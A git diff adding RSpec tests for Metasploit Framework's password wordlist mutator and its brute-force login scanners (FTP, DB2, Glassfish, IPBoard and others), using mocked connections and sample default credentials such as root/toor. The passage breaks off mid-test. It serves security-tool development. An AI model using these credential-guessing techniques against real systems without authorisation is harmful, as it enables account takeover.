100644 index 0000000000..ba0839664b --- /dev/null +++ b/spec/lib/metasploit/framework/jtr/wordlist_spec.rb @@ -0,0 +1,138 @@ +require 'spec_helper' +require 'metasploit/framework/jtr/wordlist' + +describe Metasploit::Framework::JtR::Wordlist do + + subject(:wordlist) { described_class.new } + + let(:custom_wordlist) { File.expand_path('string_list.txt',FILE_FIXTURES_PATH) } + let(:expansion_word) { 'Foo bar_baz-bat.bam\\foo//bar' } + let(:common_root_path) { File.expand_path('fake_common_roots.txt',FILE_FIXTURES_PATH) } + let(:default_wordlist_path) { File.expand_path('fake_default_wordlist.txt',FILE_FIXTURES_PATH) } + let(:password) { FactoryGirl.create(:metasploit_credential_password) } + let(:public) { FactoryGirl.create(:metasploit_credential_public) } + let(:realm) { FactoryGirl.create(:metasploit_credential_realm) } + let(:mutate_me) { 'password' } + let(:mutants) { [ + "pa55word", + "password", + "pa$$word", + "passw0rd", + "pa55w0rd", + "pa$$w0rd", + "p@ssword", + "p@55word", + "p@$$word", + "p@ssw0rd", + "p@55w0rd", + "p@$$w0rd" + ] } + + it { should respond_to :appenders } + it { should respond_to :custom_wordlist } + it { should respond_to :mutate } + it { should respond_to :prependers } + it { should respond_to :use_common_root } + it { should respond_to :use_creds } + it { should respond_to :use_db_info } + it { should respond_to :use_default_wordlist } + it { should respond_to :use_hostnames } + + describe 'validations' do + + it 'raises an error if the custom_wordlist does not exist on the filesystem' do + expect(File).to receive(:file?).and_return false + wordlist.custom_wordlist = custom_wordlist + expect(wordlist).to_not be_valid + expect(wordlist.errors[:custom_wordlist]).to include "is not a valid path to a regular file" + end + + it 'raises an error if mutate is not set to true or false' do + expect(wordlist).to_not be_valid + expect(wordlist.errors[:mutate]).to include "must be true or false" + end + + it 'raises an error if use_common_root is not set to true or false' do + expect(wordlist).to_not be_valid + expect(wordlist.errors[:use_common_root]).to include "must be true or false" + end + + it 'raises an error if use_creds is not set to true or false' do + expect(wordlist).to_not be_valid + expect(wordlist.errors[:use_creds]).to include "must be true or false" + end + + it 'raises an error if use_db_info is not set to true or false' do + expect(wordlist).to_not be_valid + expect(wordlist.errors[:use_db_info]).to include "must be true or false" + end + + it 'raises an error if use_default_wordlist is not set to true or false' do + expect(wordlist).to_not be_valid + expect(wordlist.errors[:use_default_wordlist]).to include "must be true or false" + end + + it 'raises an error if use_hostnames is not set to true or false' do + expect(wordlist).to_not be_valid + expect(wordlist.errors[:use_hostnames]).to include "must be true or false" + end + end + + describe '#valid!' do + it 'raises an InvalidWordlist exception if not valid?' do + expect{ wordlist.valid! }.to raise_error Metasploit::Framework::JtR::InvalidWordlist + end + end + + describe '#expanded_words' do + it 'yields all the possible component words in the string' do + expect { |b| wordlist.expanded_words(expansion_word,&b) }.to yield_successive_args('Foo','bar','baz','bat','bam','foo','bar') + end + end + + describe '#each_custom_word' do + it 'yields each word in that wordlist' do + wordlist.custom_wordlist = custom_wordlist + expect{ |b| wordlist.each_custom_word(&b) }.to yield_successive_args('foo', 'bar','baz') + end + end + + describe '#each_root_word' do + it 'yields each word in the common_roots.txt list' do + expect(wordlist).to receive(:common_root_words_path).and_return common_root_path + expect { |b| wordlist.each_root_word(&b) }.to yield_successive_args('password', 'root', 'toor') + end + end + + describe '#each_default_word' do + it 'yields each word in the passwords.lst list' do + expect(wordlist).to receive(:default_wordlist_path).and_return default_wordlist_path + expect { |b| wordlist.each_default_word(&b) }.to yield_successive_args('changeme', 'summer123', 'admin') + end + end + + define '#each_cred_word' do + it 'yields each username,password,and realm in the database' do + expect{ |b| wordlist.each_cred_word(&b) }.to yield_successive_args(password.data, public,username, realm,value) + end + end + + describe '#mutate_word' do + it 'returns an array with all possible mutations of the word' do + expect(wordlist.mutate_word(mutate_me)).to eq mutants + end + end + + describe '#each_mutated_word' do + it 'yields each unique mutated word if mutate set to true' do + wordlist.mutate = true + expect { |b| wordlist.each_mutated_word(mutate_me,&b)}.to yield_successive_args(*mutants) + end + + it 'yields the original word if mutate set to true' do + wordlist.mutate = false + expect { |b| wordlist.each_mutated_word(mutate_me,&b)}.to yield_with_args(mutate_me) + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/afp_spec.rb b/spec/lib/metasploit/framework/login_scanner/afp_spec.rb new file mode 100644 index 0000000000..617d28f0d7 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/afp_spec.rb @@ -0,0 +1,60 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/afp' + +describe Metasploit::Framework::LoginScanner::AFP do + + subject(:scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::Tcp::Client' + + it { should respond_to :login_timeout } + + describe "#attempt_login" do + let(:pub_blank) do + Metasploit::Framework::Credential.new( + paired: true, + public: "public", + private: '' + ) + end + + it "Rex::ConnectionError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(Rex::ConnectionError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "Timeout::Error should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(Timeout::Error) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "EOFError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(EOFError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "considers :skip_user to mean failure" do + expect(scanner).to receive(:connect) + expect(scanner).to receive(:login).and_return(:skip_user) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + + end + +end + diff --git a/spec/lib/metasploit/framework/login_scanner/axis2_spec.rb b/spec/lib/metasploit/framework/login_scanner/axis2_spec.rb new file mode 100644 index 0000000000..e75465609e --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/axis2_spec.rb @@ -0,0 +1,21 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/axis2' + +describe Metasploit::Framework::LoginScanner::Axis2 do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + + context "#method=" do + subject(:scanner) { described_class.new } + + it "should raise, warning that the :method can't be changed" do + expect { scanner.method = "GET" }.to raise_error(RuntimeError) + expect(scanner.method).to eq("POST") + end + end + +end + diff --git a/spec/lib/metasploit/framework/login_scanner/base_spec.rb b/spec/lib/metasploit/framework/login_scanner/base_spec.rb new file mode 100644 index 0000000000..b30725fe12 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/base_spec.rb @@ -0,0 +1,112 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/base' + +describe Metasploit::Framework::LoginScanner::Base do + + let(:base_class) { + Class.new do + include Metasploit::Framework::LoginScanner::Base + def self.model_name + ActiveModel::Name.new(self, nil, 'base') + end + end + } + + let(:options) { + + { + connection_timeout: 1, + cred_details: ["user", "pass"], + host: '1.2.3.4', + port: 4444, + stop_on_success: true, + bruteforce_speed: 5, + + } + } + + subject(:login_scanner) { + base_class.new(options) + } + + it { should respond_to :bruteforce_speed } + + context 'validations' do + + it 'is valid!' do + expect(login_scanner).to be_valid + end + + context 'bruteforce_speed' do + + it 'is not valid for a non-number' do + login_scanner.bruteforce_speed = "a" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:bruteforce_speed]).to include "is not a number" + end + + it 'is not valid for a float' do + login_scanner.bruteforce_speed = "3.14" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:bruteforce_speed]).to include "must be an integer" + end + + it 'is not negative' do + login_scanner.bruteforce_speed = "-1" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:bruteforce_speed]).to include "must be greater than or equal to 0" + end + + it 'is nil' do + login_scanner.bruteforce_speed = nil + expect(login_scanner).to be_valid + end + + it 'is not greater than five' do + login_scanner.bruteforce_speed = "6" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:bruteforce_speed]).to include "must be less than or equal to 5" + end + + end + + it { should respond_to :sleep_time } + + context '#sleep_time' do + + context 'default' do + subject(:sleep_time) { base_class.new.sleep_time } + it 'defaults to zero' do + expect(sleep_time).to eq(0) + end + end + + context 'set' do + subject(:sleep_time) { + klass = base_class.new + klass.bruteforce_speed = 0 + klass.sleep_time + } + it 'is five minutes when bruteforce_speed is set to 0' do + expect(sleep_time).to eq(60 * 5) + end + end + end + + it { should respond_to :sleep_between_attempts } + + context '#sleep_between_attempts' + context 'default' do + subject(:sleep_between_attempts) { base_class.new.sleep_between_attempts } + it 'returns nothing' do + expect(sleep_between_attempts).to be_nil + end + end + + context 'actually sleep a little' do + # I don't want to slow down the test, and I don't really know how + # to test a time interval anyway since rspec disables sleep. :( + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/buffalo_spec.rb b/spec/lib/metasploit/framework/login_scanner/buffalo_spec.rb new file mode 100644 index 0000000000..c348825798 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/buffalo_spec.rb @@ -0,0 +1,10 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/buffalo' + +describe Metasploit::Framework::LoginScanner::Buffalo do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + +end diff --git a/spec/lib/metasploit/framework/login_scanner/db2_spec.rb b/spec/lib/metasploit/framework/login_scanner/db2_spec.rb new file mode 100644 index 0000000000..d682445de8 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/db2_spec.rb @@ -0,0 +1,45 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/db2' + +describe Metasploit::Framework::LoginScanner::DB2 do + let(:public) { 'root' } + let(:private) { 'toor' } + let(:test_cred) { + Metasploit::Framework::Credential.new( public: public, private: private ) + } + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: true + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::Tcp::Client' + + context '#attempt_login' do + + context 'when the socket errors' do + it 'returns a connection_error result for an Rex::ConnectionError' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionError + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to be_a(::Rex::ConnectionError) + end + + it 'returns a connection_error result for an Rex::ConnectionTimeout' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionTimeout + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to be_a(::Rex::ConnectionTimeout) + end + + it 'returns a connection_error result for an ::Timeout::Error' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Timeout::Error + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to be_a(::Timeout::Error) + end + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb b/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb new file mode 100644 index 0000000000..1b7acf5053 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb @@ -0,0 +1,135 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/ftp' + +describe Metasploit::Framework::LoginScanner::FTP do + let(:public) { 'root' } + let(:private) { 'toor' } + + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: '' + ) + } + + let(:pub_pub) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: public + ) + } + + let(:pub_pri) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + let(:invalid_detail) { + Metasploit::Framework::Credential.new( + paired: true, + public: nil, + private: nil + ) + } + + let(:detail_group) { + [ pub_blank, pub_pub, pub_pri] + } + + subject(:ftp_scanner) { + described_class.new + } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::Tcp::Client' + + + + context 'validations' do + context 'ftp_timeout' do + + it 'defaults to 16' do + expect(ftp_scanner.ftp_timeout).to eq 16 + end + + it 'is not valid for a non-number' do + ftp_scanner.ftp_timeout = "a" + expect(ftp_scanner).to_not be_valid + expect(ftp_scanner.errors[:ftp_timeout]).to include "is not a number" + end + + it 'is not valid for a floating point' do + ftp_scanner.ftp_timeout = 5.76 + expect(ftp_scanner).to_not be_valid + expect(ftp_scanner.errors[:ftp_timeout]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + ftp_scanner.ftp_timeout = -8 + expect(ftp_scanner).to_not be_valid + expect(ftp_scanner.errors[:ftp_timeout]).to include "must be greater than or equal to 1" + end + + it 'is not valid for 0' do + ftp_scanner.ftp_timeout = 0 + expect(ftp_scanner).to_not be_valid + expect(ftp_scanner.errors[:ftp_timeout]).to include "must be greater than or equal to 1" + end + + it 'is valid for a legitimate number' do + ftp_scanner.ftp_timeout = rand(1000) + 1 + expect(ftp_scanner.errors[:ftp_timeout]).to be_empty + end + end + + + end + + context '#attempt_login' do + before(:each) do + ftp_scanner.host = '127.0.0.1' + ftp_scanner.port = 21 + ftp_scanner.connection_timeout = 30 + ftp_scanner.ftp_timeout = 16 + ftp_scanner.stop_on_success = true + ftp_scanner.cred_details = detail_group + end + + + context 'when it fails' do + + it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::ConnectionError' do + Rex::Socket::Tcp.should_receive(:create) { raise Rex::ConnectionError } + expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::AddressInUse' do + Rex::Socket::Tcp.should_receive(:create) { raise Rex::AddressInUse } + expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns :connection_disconnect for a ::EOFError' do + Rex::Socket::Tcp.should_receive(:create) { raise ::EOFError } + expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns :connection_disconnect for a ::Timeout::Error' do + Rex::Socket::Tcp.should_receive(:create) { raise ::Timeout::Error } + expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + end + + context 'when it succeeds' do + + + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb b/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb new file mode 100644 index 0000000000..094ff19e27 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb @@ -0,0 +1,337 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/glassfish' + +describe Metasploit::Framework::LoginScanner::Glassfish do + + subject(:http_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + + let(:good_version) do + '4.0' + end + + let(:bad_version) do + 'Unknown' + end + + let(:username) do + 'admin' + end + + let(:username_disabled) do + 'admin_disabled' + end + + let(:password) do + 'password' + end + + let(:password_disabled) do + 'password_disabled' + end + + let(:cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: username, + private: password + ) + end + + let(:bad_cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: 'bad', + private: 'bad' + ) + end + + let(:disabled_cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: username_disabled, + private: password_disabled + ) + end + + let(:res_code) do + 200 + end + + before do + http_scanner.instance_variable_set(:@version, good_version) + end + + context '#send_request' do + let(:req_opts) do + {'uri'=>'/', 'method'=>'GET'} + end + + it 'returns a Rex::Proto::Http::Response object' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code)) + expect(http_scanner.send_request(req_opts)).to be_kind_of(Rex::Proto::Http::Response) + end + + it 'parses JSESSIONID session cookies' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code)) + allow_any_instance_of(Rex::Proto::Http::Response).to receive(:get_cookies).and_return("JSESSIONID=JSESSIONID_MAGIC_VALUE;") + http_scanner.send_request(req_opts) + expect(http_scanner.jsession).to eq("JSESSIONID_MAGIC_VALUE") + end + end + + context '#is_secure_admin_disabled?' do + it 'returns true when Secure Admin is disabled' do + res = Rex::Proto::Http::Response.new(res_code) + res.stub(:body).and_return('Secure Admin must be enabled') + expect(http_scanner.is_secure_admin_disabled?(res)).to be_truthy + end + + it 'returns false when Secure Admin is enabled' do + res = Rex::Proto::Http::Response.new(res_code) + res.stub(:body).and_return('') + expect(http_scanner.is_secure_admin_disabled?(res)).to be_falsey + end + end + + context '#try_login' do + it 'sends a login request to /j_security_check' do + expect(http_scanner).to receive(:send_request).with(hash_including('uri'=>'/j_security_check')) + http_scanner.try_login(cred) + end + + it 'sends a login request containing the username and password' do + expect(http_scanner).to receive(:send_request).with(hash_including('data'=>"j_username=#{username}&j_password=#{password}&loginButton=Login")) + http_scanner.try_login(cred) + end + end + + context '#try_glassfish_2' do + + let(:login_ok_message) do + 'Deploy Enterprise Applications/Modules' + end + + before :each do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('j_security_check') && + req.opts['data'] && + req.opts['data'].include?("j_username=#{username}") && + req. opts['data'].include?("j_password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = '/applications/upload.jsf' + res.headers['Set-Cookie'] = 'JSESSIONID=GOODSESSIONID' + res + elsif req.opts['uri'] && req.opts['uri'].include?('j_security_check') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?('/applications/upload.jsf') + res = Rex::Proto::Http::Response.new(200) + res.body = 'Deploy Enterprise Applications/Modules' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + end + + it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL for a valid credential' do + expect(http_scanner.try_glassfish_2(cred)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + + it 'returns Metasploit::Model::Login::Status::INCORRECT for an invalid credential' do + expect(http_scanner.try_glassfish_2(bad_cred)[:status]).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + end + + context '#try_glassfish_3' do + + let(:login_ok_message) do + 'Deploy Enterprise Applications/Modules' + end + + before :each do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('j_security_check') && + req.opts['data'] && + req.opts['data'].include?("j_username=#{username}") && + req. opts['data'].include?("j_password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = '/common/applications/uploadFrame.jsf' + res.headers['Set-Cookie'] = 'JSESSIONID=GOODSESSIONID' + res + elsif req.opts['uri'] && req.opts['uri'].include?('j_security_check') && + req.opts['data'] && + req.opts['data'].include?("j_username=#{username_disabled}") && + req. opts['data'].include?("j_password=#{password_disabled}") + res = Rex::Proto::Http::Response.new(200) + res.body = 'Secure Admin must be enabled' + elsif req.opts['uri'] && req.opts['uri'].include?('j_security_check') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?('/common/applications/uploadFrame.jsf') + res = Rex::Proto::Http::Response.new(200) + res.body = 'Deploy Applications or Modules' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + end + + it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL for a valid credential' do + expect(http_scanner.try_glassfish_3(cred)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + + it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL based on a disabled remote admin message' do + expect(http_scanner.try_glassfish_3(disabled_cred)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + + it 'returns status Metasploit::Model::Login::Status::INCORRECT for an invalid credential' do + expect(http_scanner.try_glassfish_3(bad_cred)[:status]).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + end + + context '#attempt_login' do + context 'when Rex::Proto::Http::Client#connect raises a Rex::ConnectionError' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Rex::Proto::Http::Client#connect raises a Timeout::Error' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Rex::Proto::Http::Client#connect raises a EOFError' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Glassfish version 2' do + let(:login_ok_message) do + '<title>Deploy Enterprise Applications/Modules' + end + + it 'returns a Metasploit::Framework::LoginScanner::Result' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('j_security_check') && + req.opts['data'] && + req.opts['data'].include?("j_username=#{username}") && + req. opts['data'].include?("j_password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = '/applications/upload.jsf' + res.headers['Set-Cookie'] = 'JSESSIONID=GOODSESSIONID' + res + elsif req.opts['uri'] && req.opts['uri'].include?('j_security_check') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?('/applications/upload.jsf') + res = Rex::Proto::Http::Response.new(200) + res.body = 'Deploy Enterprise Applications/Modules' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + + expect(http_scanner.attempt_login(cred)).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + end + end + + context 'when Glassfish version 3' do + let(:login_ok_message) do + 'Deploy Enterprise Applications/Modules' + end + + + it 'returns a Metasploit::Framework::LoginScanner::Result' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('j_security_check') && + req.opts['data'] && + req.opts['data'].include?("j_username=#{username}") && + req. opts['data'].include?("j_password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = '/common/applications/uploadFrame.jsf' + res.headers['Set-Cookie'] = 'JSESSIONID=GOODSESSIONID' + res + elsif req.opts['uri'] && req.opts['uri'].include?('j_security_check') && + req.opts['data'] && + req.opts['data'].include?("j_username=#{username_disabled}") && + req. opts['data'].include?("j_password=#{password_disabled}") + res = Rex::Proto::Http::Response.new(200) + res.body = 'Secure Admin must be enabled' + elsif req.opts['uri'] && req.opts['uri'].include?('j_security_check') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?('/common/applications/uploadFrame.jsf') + res = Rex::Proto::Http::Response.new(200) + res.body = 'Deploy Applications or Modules' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + + expect(http_scanner.attempt_login(cred)).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + end + end + end + + context '#extract_version' do + # Thanks to shodan for Server headers + subject(:extracted_version) { http_scanner.extract_version(server_header) } + + context 'with 9.1 header' do + let(:server_header) { "Sun Java System Application Server 9.1_02" } + it { is_expected.to start_with("9") } + end + + context 'with 4.0 header' do + let(:server_header) { "GlassFish Server Open Source Edition 4.0" } + it { is_expected.to start_with("4") } + end + + context 'with 3.0 header' do + let(:server_header) { "GlassFish Server Open Source Edition 3.0.1" } + it { is_expected.to start_with("3") } + end + + context 'with non-open-source header' do + let(:server_header) { "Oracle GlassFish Server 3.1.2.3" } + it { is_expected.to start_with("3") } + end + + context 'with 2.1 header' do + let(:server_header) { "Sun GlassFish Enterprise Server v2.1" } + it { is_expected.to start_with("2") } + end + + context 'with bogus header' do + let(:server_header) { "Apache-Coyote/1.1" } + it { is_expected.to be_nil } + end + + + end + +end + diff --git a/spec/lib/metasploit/framework/login_scanner/http_spec.rb b/spec/lib/metasploit/framework/login_scanner/http_spec.rb new file mode 100644 index 0000000000..e0065623f6 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/http_spec.rb @@ -0,0 +1,11 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/http' + +describe Metasploit::Framework::LoginScanner::HTTP do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + +end diff --git a/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb new file mode 100644 index 0000000000..1db6b7f4cf --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb @@ -0,0 +1,38 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/invalid' + +describe Metasploit::Framework::LoginScanner::Invalid do + + subject(:invalid) do + described_class.new(model) + end + + let(:model) do + model_class.new + end + + let(:model_class) do + Class.new do + include ActiveModel::Validations + end + end + + it { should be_a StandardError } + + it 'should use ActiveModel::Errors#full_messages' do + model.errors.should_receive(:full_messages).and_call_original + + described_class.new(model) + end + + context '#model' do + subject(:error_model) do + invalid.model + end + + it 'should be the passed in model' do + error_model.should == model + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/ipboard_spec.rb b/spec/lib/metasploit/framework/login_scanner/ipboard_spec.rb new file mode 100644 index 0000000000..593f8fbd8c --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/ipboard_spec.rb @@ -0,0 +1,122 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/ipboard' + +describe Metasploit::Framework::LoginScanner::IPBoard do + + subject { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + + context "#attempt_login" do + + let(:username) { 'admin' } + let(:password) { 'password' } + let(:server_nonce) { 'nonce' } + + let(:creds) do + Metasploit::Framework::Credential.new( + paired: true, + public: username, + private: password + ) + end + + let(:invalid_creds) do + Metasploit::Framework::Credential.new( + paired: true, + public: 'username', + private: 'novalid' + ) + end + + context "when Rex::Proto::Http::Client#connect raises Rex::ConnectionError" do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError) + expect(subject.attempt_login(creds).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "when Rex::Proto::Http::Client#connect raises Timeout::Error" do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error) + expect(subject.attempt_login(creds).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "when Rex::Proto::Http::Client#connect raises EOFError" do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError) + expect(subject.attempt_login(creds).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "when invalid IPBoard application" do + let(:not_found_warning) { 'Server nonce not present, potentially not an IP Board install or bad URI.' } + before :each do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + Rex::Proto::Http::Response.new(200) + end + end + + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + expect(subject.attempt_login(creds).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it 'returns proof warning about nonce not found' do + expect(subject.attempt_login(creds).proof).to eq(not_found_warning) + end + end + + context "when valid IPBoard application" do + before :each do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + + if req.opts['uri'] && req.opts['uri'].include?('index.php') && + req.opts['vars_get'] && + 